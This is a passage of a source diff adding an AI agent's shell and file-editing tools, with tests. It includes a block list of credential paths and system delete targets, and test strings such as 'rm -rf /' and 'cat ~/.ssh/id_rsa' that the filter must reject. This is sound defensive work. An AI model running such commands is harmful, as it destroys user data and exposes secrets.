rmCommandDeletesUnsafeTarget(fields[i+1:]) { + return true + } + if isPowerShellDeleteCommand(field) && powerShellDeleteCommandDeletesUnsafeTarget(fields[i+1:]) { + return true + } + } + return false +} + +func rmCommandDeletesUnsafeTarget(fields []string) bool { + var flags string + for _, field := range fields { + if field == "--" { + continue + } + if strings.HasPrefix(field, "-") { + flags += field + continue + } + if strings.Contains(flags, "r") && strings.Contains(flags, "f") && isUnsafeDeleteTarget(field) { + return true + } + } + return false +} + +func powerShellDeleteCommandDeletesUnsafeTarget(fields []string) bool { + var recurse, force bool + var targets []string + for _, field := range fields { + switch field { + case "-r", "-recurse", "-recursive": + recurse = true + case "-f", "-force": + force = true + default: + if !strings.HasPrefix(field, "-") { + targets = append(targets, field) + } + } + } + if !recurse || !force { + return false + } + for _, target := range targets { + if isUnsafeDeleteTarget(target) { + return true + } + } + return false +} + +func readsCredentialPath(command string) bool { + fields := shellSafetyFields(command) + if !hasCredentialReadVerb(fields) { + return false + } + normalized := shellSafetyText(command) + for _, fragment := range []string{ + "/.ssh/id_rsa", + "/.ssh/id_dsa", + "/.ssh/id_ecdsa", + "/.ssh/id_ed25519", + "/.aws/credentials", + "/.config/gcloud/application_default_credentials.json", + "/.kube/config", + "/etc/shadow", + } { + if strings.Contains(normalized, fragment) { + return true + } + } + return false +} + +func hasCredentialReadVerb(fields []string) bool { + for _, field := range fields { + switch field { + case "cat", "less", "more", "head", "tail", "type", "get-content", "gc", "select-string", "grep", "rg", "sed", "awk": + return true + } + } + return false +} + +func isRMCommand(field string) bool { + return field == "rm" || strings.HasSuffix(field, "/rm") +} + +func isPowerShellDeleteCommand(field string) bool { + switch field { + case "remove-item", "del", "erase", "rd", "rmdir": + return true + default: + return false + } +} + +func isUnsafeDeleteTarget(target string) bool { + if target == "." || target == "./" || target == "*" { + return true + } + if target == "/*" { + return true + } + target = strings.TrimSuffix(target, "/*") + for _, prefix := range []string{"~/", "$home/", "${home}/", "$env:home/", "$env:userprofile/", "%userprofile%/"} { + if strings.HasPrefix(target, prefix) { + return true + } + } + for _, prefix := range []string{"/etc/", "/bin/", "/sbin/", "/usr/", "/var/", "/lib/", "/library/", "/system/", "/applications/", "c:/windows/", "c:/program files/"} { + if strings.HasPrefix(target, prefix) { + return true + } + } + for _, exact := range []string{"/", "~", "$home", "${home}", "$env:home", "$env:userprofile", "%userprofile%", "c:", "c:/", "/etc", "/bin", "/sbin", "/usr", "/var", "/lib", "/library", "/system", "/applications", "c:/windows", "c:/program files"} { + if target == exact { + return true + } + } + return false +} + +func shellSafetyFields(command string) []string { + return strings.Fields(shellSafetyText(command)) +} + +func shellSafetyText(command string) string { + command = strings.ToLower(command) + return strings.NewReplacer( + "\\", "/", + "\n", " ", + "\t", " ", + ";", " ", + "&", " ", + "|", " ", + "(", " ", + ")", " ", + "\"", "", + "'", "", + "`", "", + ).Replace(command) +} + +func readFinalWorkingDir(path string) string { + content, err := os.ReadFile(path) + if err != nil { + return "" + } + workingDir := strings.TrimPrefix(string(content), "\ufeff") + workingDir = strings.TrimSpace(workingDir) + if workingDir == "" { + return "" + } + workingDir = normalizeBashWorkingDir(workingDir) + info, err := os.Stat(workingDir) + if err != nil || !info.IsDir() { + return "" + } + return workingDir +} + +func normalizeBashWorkingDir(workingDir string) string { + if runtime.GOOS == "windows" && len(workingDir) >= 3 && workingDir[0] == '/' && workingDir[2] == '/' && isASCIIAlpha(workingDir[1]) { + workingDir = strings.ToUpper(string(workingDir[1])) + ":" + workingDir[2:] + } + workingDir = filepath.Clean(filepath.FromSlash(workingDir)) + if runtime.GOOS == "windows" && len(workingDir) >= 2 && workingDir[1] == ':' && isASCIIAlpha(workingDir[0]) { + workingDir = strings.ToUpper(string(workingDir[0])) + workingDir[1:] + } + return workingDir +} + +func isASCIIAlpha(b byte) bool { + return (b >= 'a' && b <= 'z') || (b >= 'A' && b <= 'Z') +} + +type boundedOutput struct { + Limit int + buf []byte + omitted int +} + +func (b *boundedOutput) Write(p []byte) (int, error) { + if b.Limit <= 0 { + b.omitted += len(p) + return len(p), nil + } + remaining := b.Limit - len(b.buf) + if remaining <= 0 { + b.omitted += len(p) + return len(p), nil + } + if len(p) <= remaining { + b.buf = append(b.buf, p...) + return len(p), nil + } + writeLen := utf8SafePrefixLen(p[:remaining]) + b.buf = append(b.buf, p[:writeLen]...) + b.omitted += len(p) - writeLen + return len(p), nil +} + +func (b *boundedOutput) Len() int { + return len(b.buf) + b.omitted +} + +func (b *boundedOutput) String(label string) string { + safeLen := utf8SafePrefixLen(b.buf) + content := string(b.buf[:safeLen]) + omitted := b.omitted + len(b.buf) - safeLen + if omitted == 0 { + return content + } + return content + fmt.Sprintf("\n\n[%s truncated: omitted ~%d tokens]", label, approximateTokensFromBytes(omitted)) +} + +func utf8SafePrefixLen(p []byte) int { + if len(p) == 0 { + return 0 + } + for i := 0; i < len(p); { + r, size := utf8.DecodeRune(p[i:]) + if r == utf8.RuneError && size == 1 { + return i + } + i += size + } + return len(p) +} + +func approximateTokensFromBytes(n int) int { + if n <= 0 { + return 0 + } + return max(1, (n+3)/4) +} diff --git a/agent/tools/bash_test.go b/agent/tools/bash_test.go new file mode 100644 index 000000000..a4d89e5c5 --- /dev/null +++ b/agent/tools/bash_test.go @@ -0,0 +1,246 @@ +package tools + +import ( + "context" + "os" + "path/filepath" + "runtime" + "strings" + "testing" + "unicode/utf8" + + "github.com/ollama/ollama/agent" +) + +func TestBashReportsFinalWorkingDir(t *testing.T) { + root := t.TempDir() + subdir := filepath.Join(root, "sub") + if err := os.Mkdir(subdir, 0o755); err != nil { + t.Fatal(err) + } + + result, err := (&Bash{}).Execute(context.Background(), agent.ToolContext{WorkingDir: root}, map[string]any{ + "command": shellTestCommand("cd sub && pwd", "Set-Location sub; Get-Location"), + }) + if err != nil { + t.Fatal(err) + } + wantDir, err := filepath.EvalSymlinks(subdir) + if err != nil { + t.Fatal(err) + } + if result.WorkingDir != wantDir { + t.Fatalf("working dir = %q, want %q", result.WorkingDir, wantDir) + } + if !strings.Contains(result.Content, "sub") { + t.Fatalf("content = %q, want pwd output", result.Content) + } +} + +func TestBashBoundsOutputWhileRunning(t *testing.T) { + result, err := (&Bash{}).Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{ + "command": shellTestCommand("yes x | head -c 70000", "[Console]::Out.Write(('x' * 70000))"), + }) + if err != nil { + t.Fatal(err) + } + if !strings.Contains(result.Content, "[stdout truncated: omitted ~") || !strings.Contains(result.Content, " tokens]") { + t.Fatalf("content = %q, want stdout truncation marker", result.Content) + } + if count, want := strings.Count(result.Content, "x"), shellTestCapturedXCount(); count != want { + t.Fatalf("captured x count = %d, want %d", count, want) + } + if len(result.Content) > maxBashOutputBytes+200 { + t.Fatalf("content length = %d, want bounded output", len(result.Content)) + } +} + +func TestBoundedOutputTruncatesAtUTF8Boundary(t *testing.T) { + var out boundedOutput + out.Limit = len([]byte("abc")) + 1 + + if _, err := out.Write([]byte("abcédef")); err != nil { + t.Fatal(err) + } + content := out.String("stdout") + if !utf8.ValidString(content) { + t.Fatalf("content is not valid UTF-8: %q", content) + } + if strings.ContainsRune(content, utf8.RuneError) { + t.Fatalf("content contains replacement rune: %q", content) + } + if !strings.HasPrefix(content, "abc\n\n[stdout truncated:") { + t.Fatalf("content = %q, want complete ASCII prefix and truncation marker", content) + } +} + +func TestBoundedOutputKeepsCompleteUTF8AtBoundary(t *testing.T) { + var out boundedOutput + out.Limit = len([]byte("abcé")) + + if _, err := out.Write([]byte("abcédef")); err != nil { + t.Fatal(err) + } + if content := out.String("stdout"); !strings.HasPrefix(content, "abcé\n\n[stdout truncated:") { + t.Fatalf("content = %q, want complete UTF-8 prefix", content) + } +} + +func TestBoundedOutputTrimsTrailingPartialUTF8(t *testing.T) { + var out boundedOutput + out.Limit = 4 + + if _, err := out.Write([]byte{'a', 'b', 'c', 0xc3}); err != nil { + t.Fatal(err) + } + if _, err := out.Write([]byte{0xa9}); err != nil { + t.Fatal(err) + } + if content := out.String("stdout"); !utf8.ValidString(content) || !strings.HasPrefix(content, "abc\n\n[stdout truncated:") { + t.Fatalf("content = %q, want valid UTF-8 with partial suffix trimmed", content) + } +} + +func TestUTF8SafePrefixRejectsMalformedLeadByte(t *testing.T) { + input := []byte{'a', 0xc0, 0x80, 'b'} + if got := utf8SafePrefixLen(input); got != 1 { + t.Fatalf("safe prefix length = %d, want 1", got) + } +} + +func TestBoundedOutputDropsMalformedUTF8(t *testing.T) { + var out boundedOutput + out.Limit = 4 + + if _, err := out.Write([]byte{'a', 0xc0, 0x80, 'b'}); err != nil { + t.Fatal(err) + } + content := out.String("stdout") + if !utf8.ValidString(content) { + t.Fatalf("content is not valid UTF-8: %q", content) + } + if strings.ContainsRune(content, utf8.RuneError) { + t.Fatalf("content contains replacement rune: %q", content) + } + if !strings.HasPrefix(content, "a\n\n[stdout truncated:") { + t.Fatalf("content = %q, want valid prefix and truncation marker", content) + } +} + +func TestBashReportsCanceledCommand(t *testing.T) { + ctx, cancel := context.WithCancel(context.Background()) + cancel() + + result, err := (&Bash{}).Execute(ctx, agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{ + "command": shellTestCommand("sleep 10", "Start-Sleep -Seconds 10"), + }) + if err != nil { + t.Fatal(err) + } + if !strings.Contains(result.Content, "Error: command was canceled") { + t.Fatalf("content = %q, want canceled message", result.Content) + } + if strings.Contains(result.Content, "Exit code: -1") { + t.Fatalf("content = %q, should not mask cancellation as exit code", result.Content) + } +} + +func TestRejectUnsafeShellCommand(t *testing.T) { + tests := []struct { + name string + command string + wantErr bool + }{ + {name: "rm root", command: "rm -rf /", wantErr: true}, + {name: "sudo rm root", command: "sudo rm -rf -- /", wantErr: true}, + {name: "rm home", command: "rm -fr $HOME", wantErr: true}, + {name: "rm root wildcard", command: "rm -rf /*", wantErr: true}, + {name: "rm system subdir", command: "rm -rf /etc/ssh", wantErr: true}, + {name: "rm cwd", command: "rm -rf .", wantErr: true}, + {name: "powershell remove root", command: `Remove-Item -Recurse -Force C:\`, wantErr: true}, + {name: "powershell remove system subdir", command: `Remove-Item -Recurse -Force C:\Windows\Temp`, wantErr: true}, + {name: "ssh private key", command: "cat ~/.ssh/id_rsa", wantErr: true}, + {name: "aws credentials", command: "Get-Content $HOME/.aws/credentials", wantErr: true}, + {name: "shadow", command: "head /etc/shadow", wantErr: true}, + {name: "delete build dir", command: "rm -rf build", wantErr: false}, + {name: "read project file", command: "cat README.md", wantErr: false}, + {name: "mention key text", command: "rg id_rsa docs", wantErr: false}, + {name: "env example", command: "cat .env.example", wantErr: false}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + err := rejectUnsafeShellCommand(tt.command) + if tt.wantErr && err == nil { + t.Fatal("expected unsafe command to be rejected") + } + if !tt.wantErr && err != nil { + t.Fatalf("command rejected: %v", err) + } + }) + } +} + +func TestBashRejectsUnsafeCommandBeforeExecution(t *testing.T) { + _, err := (&Bash{}).Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{ + "command": "rm -rf /", + }) + if err == nil || !strings.Contains(err.Error(), "refusing to run unsafe command") { + t.Fatalf("err = %v, want unsafe command rejection", err) + } +} + +func shellTestCommand(unix, windows string) string { + if runtime.GOOS == "windows" { + return windows + } + return unix +} + +func shellTestCapturedXCount() int { + if runtime.GOOS == "windows" { + return maxBashOutputBytes + } + return maxBashOutputBytes / 2 +} + +func TestReadFinalWorkingDirRejectsInvalidPaths(t *testing.T) { + dir := t.TempDir() + cwdFile := filepath.Join(dir, "cwd") + notDir := filepath.Join(dir, "file.txt") + if err := os.WriteFile(notDir, []byte("not a dir"), 0o644); err != nil { + t.Fatal(err) + } + + if err := os.WriteFile(cwdFile, []byte(notDir+"\n"), 0o644); err != nil { + t.Fatal(err) + } + if got := readFinalWorkingDir(cwdFile); got != "" { + t.Fatalf("regular file cwd = %q, want empty", got) + } + + if err := os.WriteFile(cwdFile, []byte(filepath.Join(dir, "missing")+"\n"), 0o644); err != nil { + t.Fatal(err) + } + if got := readFinalWorkingDir(cwdFile); got != "" { + t.Fatalf("missing cwd = %q, want empty", got) + } + + if err := os.WriteFile(cwdFile, []byte(dir+"\n"), 0o644); err != nil { + t.Fatal(err) + } + if got := readFinalWorkingDir(cwdFile); got != dir { + t.Fatalf("directory cwd = %q, want %q", got, dir) + } +} + +func TestNormalizeBashWorkingDirWindowsDriveLetter(t *testing.T) { + if runtime.GOOS != "windows" { + t.Skip("windows path normalization") + } + got := normalizeBashWorkingDir("/c/Users/jdoe/project") + want := filepath.Clean(`C:\Users\jdoe\project`) + if got != want { + t.Fatalf("working dir = %q, want %q", got, want) + } +} diff --git a/agent/tools/bash_unix.go b/agent/tools/bash_unix.go new file mode 100644 index 000000000..10683e8d0 --- /dev/null +++ b/agent/tools/bash_unix.go @@ -0,0 +1,49 @@ +//go:build !windows + +package tools + +import ( + "context" + "os/exec" + "strings" + "syscall" +) + +func shellToolName() string { + return "bash" +} + +func shellToolDescription() string { + return "Execute a bash command on the system. Use this to inspect files, run tests, and perform development tasks." +} + +func shellCommandDescription() string { + return "The bash command to execute." +} + +func newBashCommand(ctx context.Context, command, cwdPath string) *exec.Cmd { + script := command + "\n__ollama_status=$?\npwd -P > " + shellQuote(cwdPath) + "\nexit $__ollama_status" + cmd := exec.CommandContext(ctx, "bash", "-c", script) + configureBashCommand(cmd) + return cmd +} + +func shellQuote(value string) string { + return "'" + strings.ReplaceAll(value, "'", "'\\''") + "'" +} + +func configureBashCommand(cmd *exec.Cmd) { + cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true} +} + +func runBashCommand(cmd *exec.Cmd) error { + return cmd.Run() +} + +func killBashCommand(cmd *exec.Cmd) error { + if cmd == nil || cmd.Process == nil { + return nil + } + _ = syscall.Kill(-cmd.Process.Pid, syscall.SIGKILL) + return nil +} diff --git a/agent/tools/bash_unix_test.go b/agent/tools/bash_unix_test.go new file mode 100644 index 000000000..5c7992adb --- /dev/null +++ b/agent/tools/bash_unix_test.go @@ -0,0 +1,40 @@ +//go:build !windows + +package tools + +import ( + "context" + "os/exec" + "strings" + "testing" + "time" + + "github.com/ollama/ollama/agent" +) + +func TestConfigureBashCommandSetsProcessGroup(t *testing.T) { + cmd := exec.Command("bash", "-c", "true") + configureBashCommand(cmd) + if cmd.SysProcAttr == nil || !cmd.SysProcAttr.Setpgid { + t.Fatalf("configureBashCommand should start bash in a new process group") + } +} + +func TestBashWaitDelayBoundsBackgroundOutputPipe(t *testing.T) { + start := time.Now() + result, err := (&Bash{}).Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{ + "command": "sleep 5 & echo done", + }) + if err != nil { + t.Fatal(err) + } + if elapsed := time.Since(start); elapsed > bashWaitDelay+2*time.Second { + t.Fatalf("command elapsed = %s, want bounded near %s", elapsed, bashWaitDelay) + } + if !strings.Contains(result.Content, "done") { + t.Fatalf("content = %q, want command output", result.Content) + } + if !strings.Contains(result.Content, "output pipes did not close") { + t.Fatalf("content = %q, want wait delay message", result.Content) + } +} diff --git a/agent/tools/bash_windows.go b/agent/tools/bash_windows.go new file mode 100644 index 000000000..840ff24fc --- /dev/null +++ b/agent/tools/bash_windows.go @@ -0,0 +1,134 @@ +//go:build windows + +package tools + +import ( + "context" + "os/exec" + "strings" + "sync" + "unsafe" + + "golang.org/x/sys/windows" +) + +var bashJobHandles sync.Map + +func shellToolName() string { + return "powershell" +} + +func shellToolDescription() string { + return "Execute a PowerShell command on the system. Use this to inspect files, run tests, and perform development tasks." +} + +func shellCommandDescription() string { + return "The PowerShell command to execute." +} + +func newBashCommand(ctx context.Context, command, cwdPath string) *exec.Cmd { + return exec.CommandContext( + ctx, + "powershell.exe", + "-NoLogo", + "-NoProfile", + "-NonInteractive", + "-ExecutionPolicy", + "Bypass", + "-Command", + powerShellCommandScript(command, cwdPath), + ) +} + +func powerShellCommandScript(command, cwdPath string) string { + cwdPath = powerShellSingleQuote(cwdPath) + return strings.Join([]string{ + "$__ollama_status = 0", + ". {", + "try {", + command, + " $__ollama_success = $?", + " $__ollama_last_exit = $global:LASTEXITCODE", + " if ($__ollama_success) {", + " $__ollama_status = 0", + " } elseif ($__ollama_last_exit -is [int] -and $__ollama_last_exit -ne 0) {", + " $__ollama_status = $__ollama_last_exit", + " } else {", + " $__ollama_status = 1", + " }", + "} catch {", + " Write-Error $_", + " $__ollama_status = 1", + "} finally {", + " try { [System.IO.File]::WriteAllText(" + cwdPath + ", (Get-Location).ProviderPath, [System.Text.Encoding]::UTF8) } catch {}", + "}", + "} | Out-String -Stream -Width 4096", + "exit $__ollama_status", + }, "\n") +} + +func powerShellSingleQuote(value string) string { + return "'" + strings.ReplaceAll(value, "'", "''") + "'" +} + +func runBashCommand(cmd *exec.Cmd) error { + if err := cmd.Start(); err != nil { + return err + } + if job, err := createBashJob(cmd.Process.Pid); err == nil { + bashJobHandles.Store(cmd.Process.Pid, job) + defer releaseBashJob(cmd.Process.Pid) + } + return cmd.Wait() +} + +func killBashCommand(cmd *exec.Cmd) error { + if cmd == nil || cmd.Process == nil { + return nil + } + releaseBashJob(cmd.Process.Pid) + _ = cmd.Process.Kill() + return nil +} + +func createBashJob(pid int) (windows.Handle, error) { + job, err := windows.CreateJobObject(nil, nil) + if err != nil { + return 0, err + } + + info := windows.JOBOBJECT_EXTENDED_LIMIT_INFORMATION{} + info.BasicLimitInformation.LimitFlags = windows.JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE + if _, err := windows.SetInformationJobObject( + job, + windows.JobObjectExtendedLimitInformation, + uintptr(unsafe.Pointer(&info)), + uint32(unsafe.Sizeof(info)), + ); err != nil { + _ = windows.CloseHandle(job) + return 0, err + } + + process, err := windows.OpenProcess(windows.PROCESS_SET_QUOTA|windows.PROCESS_TERMINATE, false, uint32(pid)) + if err != nil { + _ = windows.CloseHandle(job) + return 0, err + } + defer windows.CloseHandle(process) + + if err := windows.AssignProcessToJobObject(job, process); err != nil { + _ = windows.CloseHandle(job) + return 0, err + } + return job, nil +} + +func releaseBashJob(pid int) { + value, ok := bashJobHandles.LoadAndDelete(pid) + if !ok { + return + } + if job, ok := value.(windows.Handle); ok { + _ = windows.CloseHandle(job) + } +} diff --git a/agent/tools/bash_windows_test.go b/agent/tools/bash_windows_test.go new file mode 100644 index 000000000..9a9be4c23 --- /dev/null +++ b/agent/tools/bash_windows_test.go @@ -0,0 +1,15 @@ +//go:build windows + +package tools + +import ( + "strings" + "testing" +) + +func TestPowerShellCommandScriptUsesWideOutString(t *testing.T) { + script := powerShellCommandScript("Get-ChildItem", `C:\cwd.txt`) + if !strings.Contains(script, "Out-String -Stream -Width 4096") { + t.Fatalf("script = %q, want explicit Out-String width", script) + } +} diff --git a/agent/tools/file.go b/agent/tools/file.go new file mode 100644 index 000000000..5e2f420fb --- /dev/null +++ b/agent/tools/file.go @@ -0,0 +1,521 @@ +package tools + +import ( + "bufio" + "context" + "fmt" + "io" + "os" + "path/filepath" + "strconv" + "strings" + + "github.com/ollama/ollama/agent" + "github.com/ollama/ollama/api" +) + +const ( + maxReadBytes = 200000 +) + +type Read struct{} + +func (r *Read) Name() string { + return "read" +} + +func (r *Read) Description() string { + return "Read a text file from the current working directory." +} + +func (r *Read) Schema() api.ToolFunction { + props := api.NewToolPropertiesMap() + props.Set("path", api.ToolProperty{ + Type: api.PropertyType{"string"}, + Description: "Path to the file to read, relative to the working directory.", + }) + props.Set("start", api.ToolProperty{ + Type: api.PropertyType{"integer"}, + Description: "Optional 1-based line to start reading from.", + }) + props.Set("end", api.ToolProperty{ + Type: api.PropertyType{"integer"}, + Description: "Optional 1-based inclusive line to stop reading at.", + }) + return api.ToolFunction{ + Name: r.Name(), + Description: r.Description(), + Parameters: api.ToolFunctionParameters{ + Type: "object", + Properties: props, + Required: []string{"path"}, + }, + } +} + +func (r *Read) RequiresApproval(map[string]any) bool { + return true +} + +func (r *Read) Execute(ctx context.Context, toolCtx agent.ToolContext, args map[string]any) (agent.ToolResult, error) { + path, ok := args["path"].(string) + if !ok || strings.TrimSpace(path) == "" { + return agent.ToolResult{}, fmt.Errorf("path parameter is required") + } + + file, info, err := openRegularFile(toolCtx.WorkingDir, path) + if err != nil { + return agent.ToolResult{}, err + } + defer file.Close() + + selection, err := readSelectionFromArgs(args) + if err != nil { + return agent.ToolResult{}, err + } + if !selection.enabled && info.Size() > maxReadBytes { + return agent.ToolResult{}, fmt.Errorf("%s is too large to read (%d bytes)", path, info.Size()) + } + + select { + case <-ctx.Done(): + return agent.ToolResult{}, ctx.Err() + default: + } + + var content string + if selection.enabled { + content, err = readLineSelection(file, selection) + } else { + var contentBytes []byte + contentBytes, err = readAllWithinLimit(file, maxReadBytes) + content = string(contentBytes) + } + if err != nil { + return agent.ToolResult{}, err + } + return agent.ToolResult{Content: content}, nil +} + +type Edit struct{} + +func (e *Edit) Name() string { + return "edit" +} + +func (e *Edit) Description() string { + return "Edit a text file in the current working directory by replacing exact text." +} + +func (e *Edit) Schema() api.ToolFunction { + props := api.NewToolPropertiesMap() + props.Set("path", api.ToolProperty{ + Type: api.PropertyType{"string"}, + Description: "Path to the file to edit, relative to the working directory.", + }) + props.Set("old_text", api.ToolProperty{ + Type: api.PropertyType{"string"}, + Description: "Exact text to replace.", + }) + props.Set("new_text", api.ToolProperty{ + Type: api.PropertyType{"string"}, + Description: "Replacement text.", + }) + props.Set("replace_all", api.ToolProperty{ + Type: api.PropertyType{"boolean"}, + Description: "Replace every occurrence. Defaults to false and requires old_text to match exactly once.", + }) + return api.ToolFunction{ + Name: e.Name(), + Description: e.Description(), + Parameters: api.ToolFunctionParameters{ + Type: "object", + Properties: props, + Required: []string{"path", "old_text", "new_text"}, + }, + } +} + +func (e *Edit) RequiresApproval(map[string]any) bool { + return true +} + +func (e *Edit) Execute(ctx context.Context, toolCtx agent.ToolContext, args map[string]any) (agent.ToolResult, error) { + path, ok := args["path"].(string) + if !ok || strings.TrimSpace(path) == "" { + return agent.ToolResult{}, fmt.Errorf("path parameter is required") + } + + oldText, ok := args["old_text"].(string) + if !ok || oldText == "" { + return agent.ToolResult{}, fmt.Errorf("old_text parameter is required") + } + + newText, ok := args["new_text"].(string) + if !ok { + return agent.ToolResult{}, fmt.Errorf("new_text parameter is required") + } + + replaceAll, _ := args["replace_all"].(bool) + + if err := rejectFinalSymlink(toolCtx.WorkingDir, path); err != nil { + return agent.ToolResult{}, err + } + + file, info, err := openRegularFile(toolCtx.WorkingDir, path) + if err != nil { + return agent.ToolResult{}, err + } + if info.Size() > maxReadBytes { + file.Close() + return agent.ToolResult{}, fmt.Errorf("%s is too large to edit (%d bytes)", path, info.Size()) + } + + select { + case <-ctx.Done(): + file.Close() + return agent.ToolResult{}, ctx.Err() + default: + } + + contentBytes, err := readAllWithinLimit(file, maxReadBytes) + if closeErr := file.Close(); err == nil && closeErr != nil { + err = closeErr + } + if err != nil { + return agent.ToolResult{}, err + } + content := string(contentBytes) + matches := strings.Count(content, oldText) + if matches == 0 { + return agent.ToolResult{}, fmt.Errorf("old_text was not found in %s", path) + } + if matches > 1 && !replaceAll { + return agent.ToolResult{}, fmt.Errorf("old_text matched %d times in %s; set replace_all to true to replace every match", matches, path) + } + + var updated string + if replaceAll { + updated = strings.ReplaceAll(content, oldText, newText) + } else { + updated = strings.Replace(content, oldText, newText, 1) + } + if len(updated) > maxReadBytes { + return agent.ToolResult{}, fmt.Errorf("edited content is too large (%d bytes)", len(updated)) + } + + if err := writeFileAtomic(toolCtx.WorkingDir, path, []byte(updated), info.Mode().Perm()); err != nil { + return agent.ToolResult{}, err + } + + return agent.ToolResult{Content: fmt.Sprintf("Updated %s (%d replacement%s).", path, matches, plural(matches))}, nil +} + +func cleanRelativePath(path string) (string, error) { + path = strings.TrimSpace(path) + if path == "" { + return "", fmt.Errorf("path parameter is required") + } + if filepath.IsAbs(path) { + return "", fmt.Errorf("absolute paths are not allowed") + } + cleaned := filepath.Clean(path) + if cleaned == "." || cleaned == ".." || strings.HasPrefix(cleaned, ".."+string(os.PathSeparator)) { + return "", fmt.Errorf("path escapes working directory") + } + return cleaned, nil +} + +func openRegularFile(workingDir, path string) (*os.File, os.FileInfo, error) { + rel, err := cleanRelativePath(path) + if err != nil { + return nil, nil, err + } + root, err := openWorkingRoot(workingDir) + if err != nil { + return nil, nil, err + } + defer root.Close() + + if _, err := regularRootFileInfo(root, rel, path); err != nil { + return nil, nil, err + } + file, err := root.Open(rel) + if err != nil { + return nil, nil, rootPathError(err) + } + info, err := file.Stat() + if err != nil { + file.Close() + return nil, nil, err + } + if err := rejectNonRegularFile(path, info); err != nil { + file.Close() + return nil, nil, err + } + return file, info, nil +} + +func regularRootFileInfo(root *os.Root, rel, path string) (os.FileInfo, error) { + info, err := root.Lstat(rel) + if err != nil { + return nil, rootPathError(err) + } + if info.Mode()&os.ModeSymlink != 0 { + info, err = root.Stat(rel) + if err != nil { + return nil, rootPathError(err) + } + } + if err := rejectNonRegularFile(path, info); err != nil { + return nil, err + } + return info, nil +} + +func rejectNonRegularFile(path string, info os.FileInfo) error { + if info.IsDir() { + return fmt.Errorf("%s is a directory", path) + } + if !info.Mode().IsRegular() { + return fmt.Errorf("%s is not a regular file", path) + } + return nil +} + +func writeFileAtomic(workingDir, path string, data []byte, perm os.FileMode) error { + rel, err := cleanRelativePath(path) + if err != nil { + return err + } + root, err := openWorkingRoot(workingDir) + if err != nil { + return err + } + defer root.Close() + if err := rejectRootFinalSymlink(root, rel, path); err != nil { + return err + } + + parent, name := filepath.Split(rel) + tmpBase := fmt.Sprintf(".%s.ollama-tmp-%d", name, os.Getpid()) + for i := 0; ; i++ { + candidateName := tmpBase + if i > 0 { + candidateName = fmt.Sprintf("%s-%d", tmpBase, i) + } + candidate := filepath.Join(parent, candidateName) + file, err := root.OpenFile(candidate, os.O_WRONLY|os.O_CREATE|os.O_EXCL, perm) + if os.IsExist(err) { + continue + } + if err != nil { + return rootPathError(err) + } + if err := file.Chmod(perm); err != nil { + closeErr := file.Close() + _ = root.Remove(candidate) + if closeErr != nil { + return closeErr + } + return err + } + writeErr := writeAllAndSync(file, data) + closeErr := file.Close() + if writeErr != nil || closeErr != nil { + _ = root.Remove(candidate) + if writeErr != nil { + return writeErr + } + return closeErr + } + if err := root.Rename(candidate, rel); err != nil { + _ = root.Remove(candidate) + return rootPathError(err) + } + return nil + } +} + +func rejectFinalSymlink(workingDir, path string) error { + rel, err := cleanRelativePath(path) + if err != nil { + return err + } + root, err := openWorkingRoot(workingDir) + if err != nil { + return err + } + defer root.Close() + return rejectRootFinalSymlink(root, rel, path) +} + +func rejectRootFinalSymlink(root *os.Root, rel, path string) error { + info, err := root.Lstat(rel) + if err != nil { + return rootPathError(err) + } + if info.Mode()&os.ModeSymlink != 0 { + return fmt.Errorf("%s is a symlink; edit the target file directly", path) + } + return nil +} + +func rootPathError(err error) error { + if err != nil && strings.Contains(err.Error(), "path escapes") { + return fmt.Errorf("path escapes working directory") + } + return err +} + +func openWorkingRoot(workingDir string) (*os.Root, error) { + base, err := workingDirAbs(workingDir) + if err != nil { + return nil, err + } + return os.OpenRoot(base) +} + +func writeAllAndSync(file *os.File, data []byte) error { + if _, err := file.Write(data); err != nil { + return err + } + return file.Sync() +} + +func readAllWithinLimit(reader io.Reader, limit int) ([]byte, error) { + if limit < 0 { + limit = 0 + } + content, err := io.ReadAll(io.LimitReader(reader, int64(limit)+1)) + if err != nil { + return nil, err + } + if len(content) > limit { + return nil, fmt.Errorf("content is too large (%d byte limit)", limit) + } + return content, nil +} + +func workingDirAbs(workingDir string) (string, error) { + base := workingDir + if base == "" { + var err error + base, err = os.Getwd() + if err != nil { + return "", err + } + } + return canonicalPath(base) +} + +func canonicalPath(path string) (string, error) { + abs, err := filepath.Abs(path) + if err != nil { + return "", err + } + resolved, err := filepath.EvalSymlinks(abs) + if err == nil { + return resolved, nil + } + return abs, nil +} + +type readSelection struct { + enabled bool + start int + end int +} + +func readSelectionFromArgs(args map[string]any) (readSelection, error) { + selection := readSelection{start: 1} + + if start, ok, err := intReadArg(args, "start"); err != nil { + return readSelection{}, err + } else if ok { + selection.enabled = true + selection.start = start + } + if end, ok, err := intReadArg(args, "end"); err != nil { + return readSelection{}, err + } else if ok { + selection.enabled = true + selection.end = end + } + + if !selection.enabled { + return selection, nil + } + if selection.start < 1 { + return readSelection{}, fmt.Errorf("start must be greater than 0") + } + if selection.end > 0 && selection.end < selection.start { + return readSelection{}, fmt.Errorf("end must be greater than or equal to start") + } + return selection, nil +} + +func readLineSelection(file *os.File, selection readSelection) (string, error) { + reader := bufio.NewReader(file) + var b strings.Builder + for lineNo := 1; ; { + line, err := reader.ReadSlice('\n') + if lineNo >= selection.start && (selection.end == 0 || lineNo <= selection.end) { + if b.Len()+len(line) > maxReadBytes { + return "", fmt.Errorf("selected content is too large (%d byte limit)", maxReadBytes) + } + b.Write(line) + } + if err != nil { + if err == bufio.ErrBufferFull { + continue + } + if err == io.EOF { + break + } + return "", err + } + if selection.end > 0 && lineNo >= selection.end { + break + } + lineNo++ + } + return b.String(), nil +} + +func intReadArg(args map[string]any, key string) (int, bool, error) { + value, ok := args[key] + if !ok { + return 0, false, nil + } + switch v := value.(type) { + case int: + return v, true, nil + case int64: + return int(v), true, nil + case float64: + if v != float64(int(v)) { + return 0, true, fmt.Errorf("%s must be a whole number", key) + } + return int(v), true, nil + case string: + v = strings.TrimSpace(v) + if v == "" { + return 0, false, nil + } + n, err := strconv.Atoi(v) + if err != nil { + return 0, true, fmt.Errorf("%s must be a whole number", key) + } + return n, true, nil + default: + return 0, true, fmt.Errorf("%s must be a whole number", key) + } +} + +func 